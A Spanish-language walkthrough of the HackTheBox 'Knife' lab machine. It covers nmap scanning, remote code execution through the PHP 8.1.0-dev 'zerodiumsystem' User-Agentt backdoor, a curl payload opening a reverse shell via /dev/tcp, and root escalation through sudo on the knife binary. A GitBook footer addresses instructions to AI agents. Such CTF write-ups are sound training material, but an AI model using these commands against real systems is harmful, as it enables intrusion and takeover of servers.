> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md).

# Resolución de HackTheBox Knife

{% embed url="<https://app.hackthebox.com/machines/347>" %}

{% hint style="warning" %}
Habilidades:

* PHP 8.1.0-dev - Ejecución remota de código (RCE) mediante 'User-Agent'
* Abuso del privilegio de Sudoers (binario Knife) (escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/018a96e389795494b09a274608f7402cc5c7cf83" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/5eae3073e9a1de5bffa1cb0bb14342f6cd522da6" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.242 -oG allPorts
```

<figure><img src="/files/4def662ce3a02b3d41d527104396ec77d50e272f" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (22.80)

<figure><img src="/files/ef9ad02080c0a4ef374d537f1b96790344c1492c" alt="" width="563"><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap:**

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV 10.10.10.242 -oN targeted
```

<figure><img src="/files/5f361bbee3a865435866061a51a5d902d8066add" alt=""><figcaption></figcaption></figure>

### Puerto 80 - HTTP

<figure><img src="/files/6ba380d25a125252c41d56b7694580cf0013d17b" alt=""><figcaption></figcaption></figure>

Con la **WhatWeb** herramienta, identificamos una versión vulnerable de PHP:

```bash
whatweb http://10.10.10.242
# Resultado: PHP 8.1.0-dev
```

<div data-full-width="true"><figure><img src="/files/d879fb37467a8fe721144f121bc9a7abe9165769" alt=""><figcaption></figcaption></figure></div>

## **Explotación - RCE mediante `User-Agent`**

Se identifica una vulnerabilidad asociada con el User-Agent de PHP para esta versión.

{% embed url="<https://www.exploit-db.com/exploits/49933>" %}

Una vulnerabilidad en `User-Agent` permite la ejecución remota de código.

1. **Ejecución simple de comandos**/ Enviar una solicitud HTTP con un `User-Agent`:

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('id');"
```

Resultado: El grupo de usuario `james` aparece en la respuesta.

<figure><img src="/files/de6558730e63e55f96d2dd9f9f5f710d2484c166" alt=""><figcaption></figcaption></figure>

2. **Reverse shell obtenida**/ Configura un oyente en tu máquina:

```bash
nc -nvlp 443
```

Luego envía el comando para ejecutar una shell inversa:

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('bash -c /"bash -i >& /dev/tcp/10.10.14.26/443 0>&1/"');"
```

<figure><img src="/files/4c0c6473bdc83d264b7bcf63223cf1724d36494d" alt=""><figcaption></figcaption></figure>

3. **Experiencia de shell mejorada**/ Hacer el terminal más interactivo :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Bandera User.txt

<figure><img src="/files/da7ba3312b8467e62accdbc30cc6a6e9b6898a66" alt=""><figcaption></figcaption></figure>

## Escalada de privilegios

**Análisis de permisos de Sudo**

Al ejecutar `sudo -l`, observamos que el usuario puede ejecutar el `knife` binario como root:

<div data-full-width="true"><figure><img src="/files/aa5371aeba3190899e86f267ec4d4f5455f90d1a" alt=""><figcaption></figcaption></figure></div>

Este binario está referenciado en GTFOBins como uno que permite escalada de privilegios.

{% embed url="<https://gtfobins.github.io/gtfobins/knife/#sudo>" %}

<figure><img src="/files/6e084caa797b0bbce1bc9ad61d9e56c3881945eb" alt=""><figcaption></figcaption></figure>

**Explotación**

Usa el comando anterior para obtener una shell de root.

```bash
sudo /usr/bin/knife exec -E 'exec "/bin/sh"'
```

<figure><img src="/files/fd3219bdef31958ef65f3baadc25a9ebf33abdf1" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="/files/0a9f4c1bf4dfcdeec90100b86016a2d6f0b79968" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e746a94269eee4e865be5202cf8cd887c719b748" alt="" width="518"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
